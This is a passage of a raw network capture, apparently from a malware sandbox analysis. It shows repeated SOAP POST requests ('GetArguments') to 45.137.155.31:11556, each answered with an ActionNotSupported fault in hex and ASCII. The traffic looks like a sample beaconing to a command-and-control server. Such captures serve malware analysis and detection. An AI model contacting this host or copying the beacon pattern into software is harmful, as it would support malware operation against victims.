62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:47.842459917 CEST	10687	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:47.930561066 CEST	10687	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:48.010165930 CEST	10688	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:47 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:49.014729977 CEST	10688	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:49.085124016 CEST	10688	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:49.156687975 CEST	10689	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:48 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:50.170488119 CEST	10690	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:50.239442110 CEST	10690	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:50.313112974 CEST	10691	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:49 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:51.327889919 CEST	10691	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:51.397778034 CEST	10691	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:51.531280994 CEST	10692	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:51 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:52.817751884 CEST	10693	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:52.886411905 CEST	10693	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:52.957573891 CEST	10694	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:52 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:53.967710972 CEST	10694	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:54.042444944 CEST	10694	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:54.131872892 CEST	10695	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:53 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:55.140132904 CEST	10696	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:55.210470915 CEST	10696	IN	HTTP/1.1 100 Continue
